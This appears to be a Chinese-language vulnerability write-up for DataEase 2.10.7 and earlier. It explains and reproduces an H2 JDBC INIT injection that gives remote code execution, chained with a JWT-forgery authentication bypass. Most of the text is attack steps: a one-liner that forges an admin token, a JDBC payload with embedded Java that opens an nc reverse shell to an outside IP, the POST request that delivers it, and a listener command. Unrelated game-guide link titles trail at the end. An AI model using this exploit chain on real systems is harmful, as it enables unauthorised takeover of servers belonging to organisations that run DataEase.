DataEase作为开源BI工具存在高危漏洞,其2.10.7及以下版本因未过滤JDBC连接参数,导致攻击者可利用H2数据库特性实现远程代码执行。本文将详细分析漏洞原理并提供完整复现方案。
DataEase是一款可替代Tableau的开源BI工具。在2.10.8版本之前,系统存在严重安全缺陷,经过身份验证的用户可通过后端JDBC连接实现远程命令执行。
具体而言,2.10.7及以下版本的/de2api/datasource/validate接口会将用户提交的H2 JDBC连接串直接传入CalciteProvider#getConnection方法,未做任何参数过滤。攻击者只需获得合法会话,就能在INIT参数中注入SQL语句,配合H2的CREATE ALIAS语法内嵌Java代码。当H2建立连接时,这些代码会被编译执行,最终在DataEase的JVM环境中实现任意命令执行。
虽然官方将该漏洞标记为需要认证,但由于同版本线中的CVE-2025-49001允许伪造管理员JWT,攻击者通常会将两个漏洞串联使用,实现完整的未授权RCE攻击链。
使用vulhub环境快速搭建测试靶场:
cd vulhub/dataease/CVE-2025-32966
docker-compose up -d
该环境基于DataEase 2.10.7版本构建。
访问目标系统后,按照以下流程实施攻击:
DataEase 2.10.10及以下版本的CommunityTokenFilter存在JWT校验缺陷:当HMAC签名校验失败时,系统仅记录日志并返回401状态码,但未中断后续流程。由于上一级TokenFilter仅对JWT做decode而不验证签名,攻击者可伪造管理员凭证(uid=1)执行敏感操作。
生成伪造token的命令如下:
python3 -c "import jwt,time; print(jwt.encode({'uid':1,'oid':1,'exp':int(time.time())+3600}, 'any-secret', algorithm='HS256'))"
向/de2api/datasource/validate接口发送包含恶意H2 JDBC连接的POST请求。configuration字段应为base64编码的JSON数据,其中jdbc字段包含精心构造的H2连接字符串。
示例payload:
{
"jdbc":"jdbc:h2:mem:pwn;MODE=MSSQLServer;INIT=CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","nc 172.17.141.158 4343 -e /bin/sh"}); }$$;CALL EXEC()",
"username":"",
"password":"",
"driver":"org.h2.Driver"
}
使用伪造的管理员token发送恶意请求:
POST /de2api/datasource/validate HTTP/1.1
Host: ip:8100
Content-Type: application/json
X-De-Token: 伪造的token
{"name":"p1","type":"h2","configuration":"base64编码的恶意配置"}
在攻击机上指定端口,等待目标系统连接:
nc -lvp 4343
该漏洞再次提醒我们开源组件安全的重要性,及时更新版本和加强输入验证是防范此类攻击的关键措施。建议所有使用DataEase的组织立即检查版本并采取相应防护手段。
《聪明开局吧》第420关掰怎么过-第420关掰找出七个常用字图文攻略
《英雄立志传三国志》正版购买指南-Steam抢先体验及配置要求详解
《聪明开局吧》第419关螺蛳粉如何过关-第419关螺蛳粉找出32个常用字图文攻略
Claude开发者国内可以用吗?3种合规接入方法
《聪明开局吧》第418关焙通关方法-第418关焙找出9个常用字图文攻略
《聪明开局吧》第417关玉龙雪山怎么过-第417关玉龙雪山找到18个常用字图文攻略